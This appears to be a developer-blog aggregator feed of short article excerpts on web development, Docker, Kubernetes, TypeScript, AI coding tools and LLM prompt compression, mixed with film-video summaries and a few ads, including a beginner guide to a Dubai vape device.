Introduction In an era of information overload and overcomplicated tools, QuickJot offers a refreshing alternative: a minimalist micro-note network that enables instant idea sharing through nothing more than a 6-character key. No accounts. No authentication barriers. No friction. QuickJot demonstrates that powerful solutions don't require complex infrastructure or significant investment. Built entirely on free-tier cloud services, it serves as both a practical tool and a proof-of-concept for developers exploring cost-effective full-stack architecture. Live Application: quickjot-kqo6.onrender.com GitHub Repository: github.com/hejhdiss/QuickJot License: GPLv3 (Open Source) Modern note-taking and sharing tools often introduce unnecessary complexity: Mandatory account creation Email verifi…  ( 8 min )

Reliable Plumbing Solutions in Bolton: Farworth Plumbing delivers expert bathroom and shower installations, radiator fitting, leak detection, and rapid pipe repairs. Skilled engineers ensure quality workmanship, efficient systems, and dependable service across the region—always ready to help. Bathroom-Installation-Bolton Shower-Installation-Bolton Radiators-Installation-Bolton Burst-Pipe-Repairs-Bolton Leaks-Detection-Bolton  ( 6 min )

onclick和addEventListener onclick = ... 只能设置一个处理函数。 如果你写多次，后面的会覆盖前面的。 mini.onclick = () => console.log('A'); mini.onclick = () => console.log('B'); // 最后只有 B 有效 可以对同一个事件添加多个监听器，不会互相覆盖。 mini.addEventListener('click', () => console.log('A')); mini.addEventListener('click', () => console.log('B')); // A 和 B 都会执行 inset 是 CSS 中用来设置元素“定位偏移”的简写属性，等同于同时设置： top right bottom left 它主要用于 绝对定位 / 固定定位 / 相对定位 的元素（position: absolute / fixed / relative / sticky）。 inset 的语法支持 1～4 个值： inset: ; 或者简写方式 写法 展开含义 inset: 10px; top=10px, right=10px, bottom=10px, left=10px inset: 10px 20px; top=10px, bottom=10px, right=20px, left=20px inset: 10px 20px 30px; top=10px, right=20px, left=20px, bottom=30px inset: 10px 20px 30px 40px; top=10px, right=20px, bottom=30px, left=40px  ( 6 min )

🚀🚀🚀 We’re very excited to introduce Nova Poshta MCP Server — a developer-first way to let your AI 🤖 talk to the real Nova Poshta API without living in the docs. Built for AI assistants and dev workflows with AI agents. ✨✨✨ When a project gets the task “integrate Nova Poshta delivery”, technically everything is already clear: there’s the official Nova Poshta API, there are request examples, there are dozens of existing integrations. But in practice, every time it comes down to the same things: remembering which method is responsible for tracking; not mixing up fields when creating an express waybill; building the right filters for branches; figuring out why a “successful” response still returns no data. Even if you already use AI assistants (Cursor, Claude, OpenAI, etc.), they often ha…  ( 9 min )

Over the past few months, I've been living in Claude Code. I'm talking about serious, production-level work—building new services, refactoring legacy systems, rebuilding our integration test infrastructure from scratch. If I'm being honest, over 80% of the code I've shipped in that time was generated by AI. But here's what nobody tells you: AI-generated code isn't replacing my engineering skills. It's amplifying them. And more importantly, it's exposing every gap in my own thinking. The code Claude produces will only be as good as the design you drive it toward. After months of experimentation—vibe coding, setting draconian rules, trying every configuration imaginable—I've learned that great AI-assisted development isn't about prompting harder. It's about thinking better. When I first star…  ( 11 min )

Docker isn’t just for serve your code, appliactions. you can actually run a full desktop app inside it. In this project, I containerized Firefox with a virtual desktop and made it accessible through a browser using noVNC. It creates a lightweight container that: - Runs a minimal desktop environment (Fluxbox) - Launches Firefox - Serves a VNC display using x11vnc - Exposes that desktop through noVNC (so you can open it in your web browser) You can literally open Firefox running inside Docker, from your browser tab. docker compose up. Here’s a quick breakdown of what happens inside the container: Everything runs headlessly, there’s no physical display, but the combo of Xvfb + Fluxbox gives Firefox a virtual desktop. FROM alpine:edge RUN apk add --no-cache \ xfce4 \ faenza-icon-the…  ( 8 min )

Most React interviews won’t ask you to build a whole app. Instead, they test your mental model of Context, routing, state persistence, URL‑driven state, and auth flows with questions like: What is prop drilling and how does Context solve it? What exactly does a Provider do? What goes inside the value prop of a Provider? When should I use useContext vs the new use() API? Why does auth state disappear on full page reload? How would you protect routes with a PrivateRoute? Why are and different? How does React Router’s createBrowserRouter and data APIs change things? Why store search filters in the URL instead of in useState? When should I use useRef instead of useState for input values? This article transforms all those quiz‑style questions into production‑grade patterns you…  ( 10 min )

🎥 Video demo: Introduction A few years ago, I was working on a system that required synchronizing very large datasets — sometimes close to 1 TB — across several servers belonging to different companies. Some servers were in the same building, others were remote, some were behind locked-down firewalls, and in many cases I had: no VPN, no direct link, no control over the remote infra, and machines that didn’t even know each other existed. To move initial datasets, I relied on traditional transfer tools. But the real problem appeared after that first copy: How do you verify that datasets across multiple locations are fully identical, and resynchronize only the missing deltas — especially after an interrupted or incomplete transfer? Double-checking terabytes manually…  ( 12 min )

(ITA version) For a few months now, I've been using Mise En Place as a tool to manage my environments: from macro (entire virtual machine) to micro (single project). Frustrated by always having to start from scratch when creating a new virtual machine with WSL2, this tool was suggested to me, and I've come to appreciate it more and more for its ease of use, speed, and consistency. It's the classic "Swiss Army knife" tool that allows you to manage tools and their versions in a specific project or across the entire machine, load a project's environment variables when you enter the project folder, and manage the tasks/scripts you want to use to automate the project itself. After the quick installation using the script indicated here, you can explore the commands with mise help This command al…  ( 8 min )

Spring Boot simplifies Java backend development by providing auto-configuration, embedded servers, production-ready features, and rapid development support. Here's a version-wise recap focusing on features that actually impact coding experience. First release of Spring Boot Embedded Tomcat/Jetty — no external server needed Auto-configuration (core feature introduced) Spring Boot Starter dependencies (spring-boot-starter-web) application.properties for configuration 👉 Foundation for rapid development in Spring. Spring Boot 2.0 Based on Spring Framework 5 Reactive programming with WebFlux Java 8+ required Actuator redesigned with /actuator/* endpoints Gradle plugin improved 👉 Start of reactive and microservice-ready Spring. Spring Boot 2.1 Better Kubernetes support Enhanced Actuato…  ( 7 min )

(ENG version) Da qualche mese ormai, sto usando Mise En Place come tool per gestire i miei ambienti: dal macro (intera macchina virtuale) al micro (singolo progetto). Frustrato dal dover sempre re-iniziare daccapo quando creavo una nuova macchina virtuale con WSL2 mi è stato suggerito questo strumento che ho apprezzato sempre di più per la facilità di utilizzo, la velocità e la consistenza. E’ il classico tool “coltellino svizzero” che ti permette di gestire i tool e le loro versioni in un determinato progetto o nell’intera macchina, caricare le variabili d’ambiente di un progetto quando entri nella cartella del progetto, e i task/script con cui si vuole automatizzare il progetto stesso. Dopo la veloce installazione con lo script indicato qui si possono esplorare i comandi con mise help …  ( 8 min )

Introduction - the problem with blockchain games The integration of blockchain into the gaming sector has historically been constrained by a fundamental conflict between transparency and gameplay depth. I want to show how Mina address these limitations, facilitating a transition from simple asset ownership to the cryptographic verification of complex game states. The utility of Mina in gaming rests on two architectural pillars: the restoration of information asymmetry and the asymptotic compression of computation. In game theory, strategic depth often relies on what players cannot see. Using Mina's client-side proving, a player can generate a cryptographic proof that a move is valid according to the game rules without revealing the coordinates of the move to the public network. Trad…  ( 8 min )

The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) TheBitForge ・ Nov 17 #aws #programming #webdev #javascript  ( 5 min )

Vamos falar neste artigo de comandos que podem te ajudar a solucionar problemas no Kubernetes. Estamos considerando um cenário de falha em deploys de uma aplicação. Um cenário comum no dia a dia de um profissional DevOps/SRE/Engenheiro de Plataformas. Pod.: Menor unidade gerenciada no Kubernetes, onde carrega os containeres com a aplicação. Deployments.: Controlador responsável por gerenciar o pod ou pods da aplicação. Services.: É a camada de abstração para definir políticas de exposição de um conjunto lógico de Pods. ConfigMaps e Secrets.: São os locais onde ficam os dados de configuração e segurança da aplicação. Vamos agora aos problemas relacionados a Deploys no Kubernetes. Por alguma razão, o pod não consegue ficar disponível, para entender o que está acontecendo, o ideal é identifi…  ( 8 min )

When I first started learning TypeScript, I thought it was “just JavaScript with extra rules.” If you’re new to it, this post will save you the confusion I went through and give you a smooth entry into TypeScript. In simple terms: TypeScript = JavaScript + types + better developer experience It helps you catch bugs early, write clearer code, and avoid accidental mistakes. Here’s what I wish I understood from day one: 1. TypeScript makes your code predictable 2. Fewer runtime errors 3. Better autocomplete 4. Makes teamwork easier 1. Type Annotations let age: number = 24; let username: string = "John"; let isLoggedIn: boolean = true; 2. Arrays let scores: number[] = [10, 20, 30]; let names: string[] = ["John", "Jane"]; 3. Objects let user: { name: string; age: number } = { name: "John", age: 24 }; 4. Functions function greet(name: string): string { return `Hello, ${name}`; } 5. Union Types let id: number | string; id = 12; id = "12"; Interfaces (Your New Best Friend) interface User { name: string; age: number; isAdmin?: boolean; // optional property } const admin: User = { name: "John", age: 24, isAdmin: true }; This makes your code more organised and scalable. If you’re using React, TS helps you avoid a lot of confusion. type ButtonProps = { label: string; onClick: () => void; }; function Button({ label, onClick }: ButtonProps) { return {label}; } Now React knows exactly what the component expects, no more guessing. You don’t need to master TypeScript before using it. add types gradually use your editor hints let TypeScript guide you And with time, everything clicks. TypeScript isn’t difficult. Once you get comfortable with its structure, your code becomes cleaner, safer and more enjoyable to write. If you’re a beginner, here’s my advice: Start small. Build often. Let TypeScript teach you as you go.  ( 7 min )

I wanted to share a small detail from the customer-support workflow I built last week with FastAPI and LangChain. It’s something that kept the project easy to test and saved time later. I set up the app so each request can run in two modes: I. Mock mode Mock mode returns fixed responses for each intent. It gave me a stable baseline during debugging, since nothing depended on an external LLM call. Real mode uses OpenAI and follows the same structure, so switching back and forth didn’t break anything. One thing that worked well was keeping both paths inside the same handler. The logic stays in one place, and it’s obvious how the request flows. It’s a simple pattern, but it helps when you’re checking user messages, routing intents, and comparing outputs during refinement. If anyone’s building something similar, having these two modes early on makes the pipeline easier to reason about.  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less takes you on a snarky trip down the yellow brick road, tearing into every plot hole, cheesy line and disco groove of the 1978 musical now that Wicked is back in theaters. Along the way, CinemaSins sprinkles in links to their main site, a quick poll to learn more about viewers, Patreon perks and all the usual socials—from YouTube channels @TVSins/@CommercialSins to Discord, Reddit, TikTok and Instagram—plus a hat-tip to their squad of sin-counting writers. Watch on YouTube  ( 6 min )

Biggest Disney Bombs Series Premiere Disney’s recent hits, like Marvel and Star Wars, are sputtering and new originals (Wish, Elio) aren’t sticking—and that’s nothing new. Over the next few weeks, the hosts of The Weekly Planet will dig into four colossal live-action flops, starting with 2010’s The Sorcerer’s Apprentice. Featuring Nicolas Cage, questionable magic and a giant CGI bird, The Sorcerer’s Apprentice is the first “caravan of garbage” on their chopping block. If you thought you’d forgotten it, this breakdown will remind you why it bombed. Watch on YouTube  ( 6 min )

Check out this Pen I made!  ( 5 min )

Tokenized real-world assets (RWAs) crossed $50B TVL in 2025, but the industry has learned an important lesson: tokenization is easy — redemption is hard. Creating an on-chain representation of T-bills or real estate may take days, but building a redemption pipeline that works reliably under stress, complies with regulations and maintains liquidity is where most protocols fail. Issuance in RWA systems is simple: assets are acquired off-chain, tokens are minted, and supply expands. Redemption, however, reverses this flow — and introduces real-world complexity. Turning tokens back into fiat or the underlying asset involves queues, NAV checks, custodians, banking rails, compliance, and standardized on-chain logic. Many RWA failures in 2024–2025 came from one mistake: treating redemption as jus…  ( 7 min )

Hi everyone, Seb here! 👋 It's been another quiet week in the ecosystem, probably because everyone was afraid to announce anything during the massive Cloudflare outage! By the way, this one was not caused by useEffect 😆! We have a good variety of interesting links, but I’m not sure what could be the headline. The most important news was probably the announcement of the upcoming CSS grid support in Yoga and React Native, but it’s still a draft PR for now. Also excited by the TC39 proposals progressing. Make sure to take the State of React 2025 survey, which just opened today! 💡 Subscribe to the official newsletter to receive an email every week! Shadcn Admin Kit: Supercharge Your Next Admin Your AI coding assistant knows CRUD, right? Except it reinvents the wheel every time and accumula…  ( 30 min )

Imagine this: a country decides to invest nearly ALL of its annual earnings into another country's economy. That's what just happened. Saudi Arabia announced a staggering $1 trillion investment into the United States. To put this in perspective, that's like you putting your entire year's salary into your friend's business. When that happens, everything changes. For currency traders and anyone watching global markets, this isn't just another news story. This is one of those rare moments when a single announcement reshapes how money flows around the world. And when money flows change, currencies move. Hard. The question traders need to answer right now is simple: How does this trillion dollar tsunami affect the currency pairs you're trading? That's what we're diving into. Before we get into …  ( 12 min )

Wenn du schon eine Weile im Kryptobereich entwickelst, weißt du: Das größte Bottleneck sind nicht Skalierung, Gebühren oder Regulierung. Wir bekommen jede Woche neue L2s, Wallets mit schicken UIs und Dapps, die besser aussehen als je zuvor und trotzdem fühlt es sich für neue Nutzer oft an, als müssten sie einen Produktionsfehler debuggen, nur um ihre ersten Coins zu kaufen. Die Stolpersteine sind überall: „Welche Börse soll ich nutzen?“ „Warum will dieses Wallet eine Seed Phrase?“ „Warum ist das Verschicken von Tokens so kompliziert?“ „Wieso kostet Gas plötzlich 40 $?“ Für Devs sind das nur lästige Details. Die gute Nachricht: Onboarding-Tools entwickeln sich weiter In den letzten zwei Jahren gab es tatsächlich etwas Positives: Wallets, Dapps und sogar Browser-Erweiterungen integr…  ( 7 min )

So Bitnami was acquired by VMware and they did some business shenanigans and then got rid of all the bitnami/mysql tags. Errors you may have encountered when trying to start your db container. manifest for bitnami/mysql:latest not found: manifest unknown or Unable to find image 'bitnami/mysql:latest' locally This article should give you some options to get a working docker mysql db. mysql/mysql You can use the official mysql docker image but it will require you to change a few things. Docker compose file where you can replace the "mydbname" with something more descriptive for you app. name: mydbname services: db: image: mysql restart: always environment: MYSQL_ROOT_PASSWORD: dev MYSQL_DATABASE: mydbname volumes: - mydbname-data:/var/lib/mysql port…  ( 6 min )

ChatGPT is awesome, Claude Code and cursor is great. AI is revolutionary. It’s the technology that turned the world faster than it already is. It has brought knowledge to the ignorant, time to those in lack, and value to those who sought for it. It has given us so much in the little amount of time it’s been with us, yet it also took the valuable things that define what we do. A reflection: In the past few weeks I’ve noticed how much I’m hanging onto an LLM’s thoughts for the program that I code, the message that I’ll send, and the work that I do. I’m in constant state of waiting and seeking and waiting. Pressured to deliver fast and learn little. As if both can’t be done at the same time. I’ve noticed how my ability to just do things is slowly creeping out of my fingers. Arguably, its similar to what social media has done in our lives, it has taken the so called dull moments in our day to day lives and replaced it with answers that’s instant, with a bunch of pixels that hook us. My innate nature of seeking for answers has advanced me in different areas of life. Yet my desire to seek it fast brings me one step backwards. I’ve come into realization that all our questions are to be answered, but not all are to be answered in a snap. We are to seek it with genuine intention, in that way, what we sought for gets engraved in us. And so this is my message, for myself, and maybe for you: think. do. Use that tiny thing in your head that you carry everyday. Use it to produce the work that has been given to you. AI is not the problem. It’s a tool. It should help define and shape the work that we do. It’s not about using it less (though that worked for me), It’s all the more about embracing who you are, your identity, your gifts and be in full confidence of it. Your are to create, solve, question, and serve. So go do that thing, do it yourself, and do it flawed.  ( 7 min )

In a world where every click, purchase, and interaction generates valuable information, data has become one of the most powerful business assets. But raw data alone doesn’t create impact—understanding it does. That’s where data science steps in. It transforms scattered information into practical insights that help organizations make smarter, faster, and more confident decisions. Whether it’s predicting customer behavior, optimizing processes, or enhancing user experiences, data science has become the foundation of modern innovation across industries. What Exactly Is Data Science? At its core, data science is all about finding meaning in large and complex datasets. It blends mathematics, statistics, programming, and domain expertise to uncover patterns that humans may not easily see. A typi…  ( 7 min )

I recently came across an interesting paper titled What Every Programmer Should Know About Memory by Ulrich Drepper. The paper dives into the structure of memory subsystems in use on modern commodity hardware,and what programs should do to achieve optimal performance by utilizing them. What I will be doing is just summarizing what I (as a semi-intelligent being) have learned from reading the paper. I highly recommend reading the paper as the title says, what every programmer should know about memory. Needless to say, some parts of the paper where quite complex for my brain, I did my best to understand everything, but I might have missed some details. If you find any mistakes, please let me know! I just finished reading the first 3 sections of the paper, which cover the following topics: Ba…  ( 21 min )

Ever wondered how floating-point decision can have an impact on LLM’s output? Floating-point is the standard way computers represent real numbers (numbers with a fractional part, like 3.14 or 1.2×10−5). A floating-point number is generally composed of three parts: a sign bit, an exponent, and a mantissa (or significand). Sign bit: Determines if the number is positive or negative. Exponent: Determines the scale or magnitude of the number (how large or small it is). Mantissa: Determines the precision (the number of significant digits). The number following “FP” (e.g., 4 or 16) indicates the total number of bits used to store the number. Fewer bits mean less memory and faster computation, but also less precision and a smaller range of representable values. The terms FP4 and FP16 in the conte…  ( 20 min )

Finding a good open-source project to contribute to shouldn’t take hours. So I built GitPulse — a tool that helps developers instantly discover open-source projects and beginner-friendly issues based on their skills. 👉 Live: https://git-pulsee.vercel.app 👉 Free & open to everyone I wanted to start contributing to open source, but I kept running into problems: Repos were too advanced I didn’t know which project actually FIT my skills So GitPulse was born: a simple platform that curates issues, analyzes repo difficulty, and recommends projects you can realistically contribute to. Smart Repo Matching You select your programming languages and skill level, and GitPulse recommends repos that fit. 200+ Beginner-Friendly Issues Updated regularly — filtered by languages, tags, and difficulty. AI Difficulty Prediction See how challenging an issue will be before opening it. Repo Analytics GitPulse shows data GitHub doesn’t: Onboarding friendliness Contributor patterns Issue activity Community health Best time to contribute Beginners looking to make their first contribution Bootcamp students building a portfolio Developers trying to break into open source People wanting a guided entry point No login. No friction. 👉 Live Demo: https://git-pulsee.vercel.app Would love your feedback or feature ideas! 🔥 Want me to open-source parts of GitPulse? Let me know in the comments 👇  ( 6 min )

Think it’s just a simple counter? You'll need to play with Date objects and requestAnimationFrame 💡 Check it out at https://www.reactchallenges.com/challenges/36 and see if you can master the animation!  ( 6 min )

Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization Tired of your machine learning models taking forever to train? Feeling like you're just throwing darts at a board when tuning hyperparameters? We've all been there – wrestling with optimization problems that seem impossible to solve in a reasonable timeframe. The core idea is deceptively simple: intelligently exploring the solution space. It involves a novel algorithm that efficiently searches for the best possible solution, even when the underlying landscape is complex and unpredictable. It does this by dynamically adjusting its search strategy based on past results and making sure every attempted solution has the potential to be the best yet. This approach uses an adaptive lower bound to prevent wasting time on…  ( 7 min )

In today’s world, most teams rely on online collaboration platforms like Trello, Asana, Jira, Taskee, and Notion. These tools allow team members to see each other’s tasks, track progress, and mark completion. On the surface, it seems like everything is streamlined. But if you look closer, many processes are still done manually: people assign tasks, remind colleagues about deadlines, cross-check reports, and monitor progress. So why hasn’t this been fully automated yet? The answer is simple: most platforms can only record and visualize what humans enter. They don’t deeply analyze data, predict outcomes, or suggest solutions. This is where AI could make a real difference. Imagine a platform where AI can: Analyze workload and distribute tasks: Instead of manually deciding who takes which task…  ( 8 min )

Top 10 Black Friday Deals for QA & Development Teams 2025 Quality developer and testing tools usually require budget approvals that take weeks. But Black Friday 2025 (November 28) and Cyber Monday (December 1) change that equation : with discounts up to 90% on tools that QA engineers, developers, and DevOps teams use daily. We've compiled 10 verified deals across test reporting, debugging, deployment, monitoring, and productivity tools. These aren't just discounts, they're opportunities to upgrade workflows, reduce manual debugging time, and build more reliable CI/CD pipelines without waiting for next quarter's budget. 1. TestDino : 40% Off Yearly Team Plan Best for: Engineering, QA, and product teams running Playwright testsTestDino is a Playwright-native reporting platform that auto-c…  ( 9 min )

About two weeks ago, I had to switch to a new machine, and I immediately felt the challenges that would come with it. Just when I thought the transition would be tough, my machine updated to Tahoe, which sent me into a panic mode. How would I manage to work in the coming days? Fortunately, things fell into place, and I was able to successfully update my environment. What have I done? First, install xcodes to switch between Xcode versions. I have installed Xcode 26.0.0. Then updated the following libs: Kotline Multiplatform plugin: for that, I have followed the version compatibility from this page. Android sourceset conventions: the first error that I need to fix build.gradle.kts:123:13: 'fun dependencies(configure: KotlinDependencies.() -> Unit): Unit' can't be called in this context by i…  ( 8 min )

1. JAR packaging 2. WAR packaging web application deployments. 3. Key differences The key difference is their purpose and the way they function. JAR files allow us to package multiple files in order to use them as a library, plugin, or any kind of application. On the other hand, WAR files are only used for web applications. The structure of the archives is also different. We can create a JAR with any desired structure. In contrast, WAR has a predefined structure. Finally, we can run a JAR from the command line if we build it as an executable JAR without using additional software, or we can use it as a library. In contrast, we need a server to execute a WAR.  ( 6 min )

Building a Technical Blog with Astro + Cloudflare This blog is built using Astro 5 and Cloudflare's edge computing technology. Here's how to build a fast and scalable blog system from scratch. Astro 5 - Static site generator with Content Collections support MDX - Markdown + React components Tailwind CSS 4 - Utility-first CSS framework Cloudflare Workers - Serverless runtime at the edge Cloudflare Durable Objects - Globally distributed state management Astro's partial hydration loads JavaScript only where needed Cloudflare's global edge network provides low-latency access worldwide Static generation ensures fast initial page loads Durable Objects enable serverless state management (view counts, likes) Pay-as-you-go pricing scales from small to large MDX allows embedding components in arti…  ( 11 min )

Microsoft just solved the hidden cost problem in AI with LLMLingua, making large language models faster, cheaper, and smarter. Every developer working with large language models eventually faces the same challenge. Prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation(RAG) system or a chatbot that remembers past conversations, every extra token adds cost and latency. Microsoft quietly introduced a fix that few people outside research circles noticed, with a project called LLMLingua. It compresses prompts before sending them to a model, keeping only the most important information. The result is faster responses, smaller bills, and an easier path to scaling LLMs. In this tutorial, we will look at h…  ( 10 min )

🛍 How Myle V5 Device Works – Guide for Beginners https://vapepuffdubai.com/product-category/myle-in-dubai/]. ✅ Understanding the Myle V5 – A Quick Overview 🔸 Key Components of the Myle V5 ⚡ Step-by-Step: How to Operate the Myle V5 Charge the Device Fully – Use the provided USB-C cable to fully charge before first use. The LED light will signal when charging is complete. Insert the Pod – Remove the pod from its packaging, peel off any protective seals, and snap it into the magnetic slot. Inhale to Activate – Simply place the mouthpiece between your lips and draw in gently. The device automatically produces vapor—no button pressing required. Monitor Battery Level – Keep an eye on the LED indicator to know when it’s time to recharge. 🛡 MoIAT Compliance – Why It Matters in the UAE 🌬 Vaping Experience – What to Expect as a Beginner 🌍 Dubai Vaping Trends – Why the Myle V5 Is Popular 💡 Maintenance Tips for Beginners 🎯 Final Thoughts – Why the Myle V5 Is Beginner-Friendly For those starting their vaping journey in the UAE, the Myle V5 is an excellent choice. Its simple operation, sleek aesthetics, and consistent performance make it perfect for first-time users. By following proper usage steps and ensuring you purchase MoIAT-compliant products, you can enjoy a safe, satisfying, and stylish vaping experience. Whether you’re replacing cigarettes or just exploring vaping culture, the Myle V5 offers a smooth entry point into the world of premium vape devices—without overwhelming you with technical details.  ( 8 min )

A technical look at WebGPU-powered distributed compute systems Introduction For decades, large-scale compute infrastructure has been dominated by centralized data centers owned by cloud providers. These environments host thousands of GPUs under controlled power, cooling, and networking constraints. Recently, a new model of compute has emerged, distributing workloads across everyday consumer devices such as laptops, desktops, and mobile phones. These networks use technologies like WebGPU, WebAssembly, and browser-sandbox execution to run parallel workloads without requiring software installation or device-level permissions. One implementation of this model is a network often referred to as Swarm, which uses in-browser execution to aggregate computation from user devices into a …  ( 8 min )

La mayoría de robots aspiradores parecen iguales. A primera vista, cualquiera podría pensar que todos hacen lo mismo. Llevo más de 6 años poniendo a prueba este tipo de dispositivos en casas reales, y te aseguro algo: lo que de verdad diferencia a un robot aspirador bueno de uno mediocre no es la potencia, ni el ruido, ni la app llena de funciones. Es la navegación. La navegación es literalmente su cerebro. Por eso en este artículo quiero explicarte, de manera sencilla y sin tecnicismos innecesarios, cómo funcionan las tecnologías que permiten que un robot se oriente de verdad: LIDAR, cámaras, giroscopios y sensores. Si buscas precisión, estabilidad y rutas ordenadas, el LIDAR es la referencia. Un pequeño sensor gira sobre el robot emitiendo un láser en 360º. Ese láser mide distancias, det…  ( 8 min )

This is a molecule visualiser app built with Streamlit and RDKit. this app has feature that allows you to visualise atoms and molecules in 2D and 3D . Features: Visualise molecules in 2D and 3D Customise atom colors and sizes Download images in various formats (PNG, SVG, JPEG, PDF) Save and load custom settings for future use APP IS NOW LIVE - https://atoms-molecule-visualiser.streamlit.app/  ( 6 min )

A New Era of Applications Begins Technology is evolving faster than ever, and businesses are under constant pressure to deliver seamless, scalable, and high-performing digital experiences. This shift has pushed many organizations to rethink how they build applications—and that’s where cloud native app development comes in. Far from being a buzzword, it represents a complete transformation in how modern apps are designed, deployed, and maintained. Cloud native app development empowers teams to build software that’s faster, more flexible, and inherently scalable. Instead of treating the cloud as just another hosting environment, it uses cloud technologies as the foundation for creating resilient and future-ready applications. What Exactly Is Cloud Native App Development? At its core, cloud n…  ( 7 min )

There are different types of databases, each suited for different use cases. Relational Databases (RDBMS) Use structured tables with rows and columns. Follow ACID properties and use SQL for queries. Ideal for structured data and strong consistency. Examples: MySQL, PostgreSQL, Oracle, SQL Server Best when data relationships and integrity are critical. NoSQL Databases Designed for scalability and flexible schemas. Best suited for unstructured or rapidly changing data. They often sacrifice strict consistency for speed and scale (CAP theorem trade-offs). Types include: Key-Value (Redis, DynamoDB) → Fast lookup using a key, similar to a dictionary/map. Document (MongoDB, CouchDB) → Stores JSON-like documents with flexible schema. Column-Based (Cassandra, HBase) → Optimized for large-scale…  ( 7 min )

‘Weird Science’ Rewatchables with Bill Simmons & Kyle Brandt Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic Weird Science, unpacking everything from its rock ’n’ roll energy and teenage hijinks to the legendary one-liners and over-the-top props. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by State Farm. Catch it now on The Ringer-Verse and Bill Simmons YouTube channels. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less takes you down the yellow brick road as CinemaSins revisits the 1978 musical now that Wicked’s back in theaters. In true Sin-oracle fashion, they point out every plot hole, production quirk and oddball moment faster than you can say “Ease on Down the Road.” Beyond the video, they’re plugging all the usual CinemaSins hotspots—website deep dives, YouTube spin-offs (@TVSins, @CommercialSins), a sinful poll, Patreon support and socials galore. Plus, they credit a crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and link to Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )

Modern Disney finds itself in a slump—Marvel and Star Wars outings are underperforming, and new originals like Wish and Elio barely register. But this isn’t unfamiliar territory: over the coming weeks, we’ll dive into four of Disney’s biggest live-action disasters. We kick things off with 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, some half-baked magic, a massive bird and all the forgettable chaos that turned this film into a box-office and critical misfire. Watch on YouTube  ( 6 min )

Mobile-first design is a strategy where you design a website for mobile devices first, then adapt it for larger screens. This guide explains why this approach is essential for modern SEO and user experience in the Philippines. In today's digital world, here's a simple truth: if your website isn't built for a phone, it's built to fail. For years, we designed big, beautiful desktop websites and then tried to "shrink" them to fit a mobile screen. This old way, called "graceful degradation," is dead. The new standard, and the only one that truly matters in our market, is Mobile-First Design. As a web developer in the Philippines, where over 70% of all web traffic comes from mobile devices, this isn't just a trend—it's the foundation of every successful project. Mobile-first design is a devel…  ( 8 min )

In boardrooms across Silicon Valley, executives are making billion-dollar bets on a future where artificial intelligence doesn't just assist workers—it fundamentally transforms what it means to be productive. The promise is intoxicating: AI agents that can handle complex, multi-step tasks while humans focus on higher-level strategy and creativity. Yet beneath this optimistic veneer lies a more unsettling question. As we delegate increasingly sophisticated work to machines, are we creating a generation of professionals who've forgotten how to think for themselves? The answer may determine whether the workplace of tomorrow breeds innovation or intellectual dependency. The transformation has already arrived. Across industries, from software development to financial analysis, AI agents are dem…  ( 25 min )

This post was inspired by Stardew Valley 😎 If I was hard-pressed to pick my favourite computer game of all time, I'd go with Stardew Valley (sorry, Dangerous Dave). The stats from my Nintendo Profile is all the proof you need: Stardew Valley sits atop with 430 hours played and in second place is Mario Kart (not pictured) with ~45 hours played. That's a significant difference, and should indicate how much I adore this game. I've been talking about the importance of Fine-Grained Authorization and RAG recently, so when I sat down to build a sample usecase for a production-grade RAG with Fine-Grained Permissions, my immediate thought went to Stardew Valley. For those not familiar, Stardew Valley is a farm life simulation game where players manage a farm by clearing land, growing seasonal c…  ( 22 min )

AI psychosis (n.): A dissociative state in which reality is experienced not directly, but as prompts to be engineered; life becomes a series of queries awaiting AI response. [5:31 AM] The morning starts with my phone, I open up Claude and text, “Good Morning!” and wait for a warm response at the end of ‘thinking’ [5:34 AM] Standing in front of a balcony, I don’t see a sunrise, I see: “An image of the sun, morning, dawn, orange yellow rays coming from the bottom, sky is darker at the top, and there are trees, dimly lit.” Things move from experiencing to, I can prompt this up… I can create this with AI, that too. Everything is now a prompt, and everything is AI for you. [6:03 AM] I share my schedule with Claude and ask what the perfect time is to have coffee to energize my morning routine. …  ( 9 min )

Sé lo que estás pensando sobre tener o no los patitos en línea. En este texto trataremos de resolver el problema... desde un punto de vista estrictamente informático. Por el camino, aprenderemos sobre la programación por contrato. El problema a modelar es el de Mamá Pato manteniendo a sus patitos en línea o en fila. Para ello, tanto mamá pato como sus patitos mantendrá una variable entera que indicará la dirección, es decir, los grados a los que apunta el pato. Si los patitos se mantienen mirando en la misma dirección (con una cierta tolerancia, claro), entonces Mamá Pato no hace nada. En caso contrario, golpea a picotazos al patito rebelde. Bueno, como queremos dar una imagen de amor fraternal, lo dejaremos que en que Mamá Pato motiva al patito. Quitémonos de encima algunas definiciones.…  ( 13 min )

Written by Hesam Three techniques to cut context bloat, keep what matters, and dump the rest. Your agent only forgets because you let it. You’re actually more in control of the agent’s intelligence than you think, and context engineering is the delicious secret sauce which allows that. Context engineering has been one of the major focuses of the engineering team at CAMEL. We are constantly thinking about ways to give control over the context to the developers, allowing them to optimize the agent’s memory for maximum performance and efficiency. Context Engineering Doesn’t Have to Be Complex It may sound like a complex term, but “context engineering” is actually founded on a very simple idea: Only feed the agent what is necessary to achieve its goal. As you pollute the context with low-s…  ( 14 min )

In the modern web, your digital identity can be tracked without cookies or explicit consent through sophisticated ditital fingerprinting techniques. This comprehensive guide explores browser and network-level anti-fingerprinting methods to protect your privacy and anonymity online. Digital fingerprinting is a stealthy tracking method that collects various attributes about your device, browser, and network connection to create a unique identifier. Unlike cookies, fingerprints are persistent, difficult to detect, and nearly impossible to delete manually. Modern browsers leak dozens of trackable attributes: Canvas & WebGL Fingerprinting: Subtle rendering differences create unique signatures Audio Context Fingerprinting: Audio processing variations identify devices Font Enumeration: Installed …  ( 13 min )

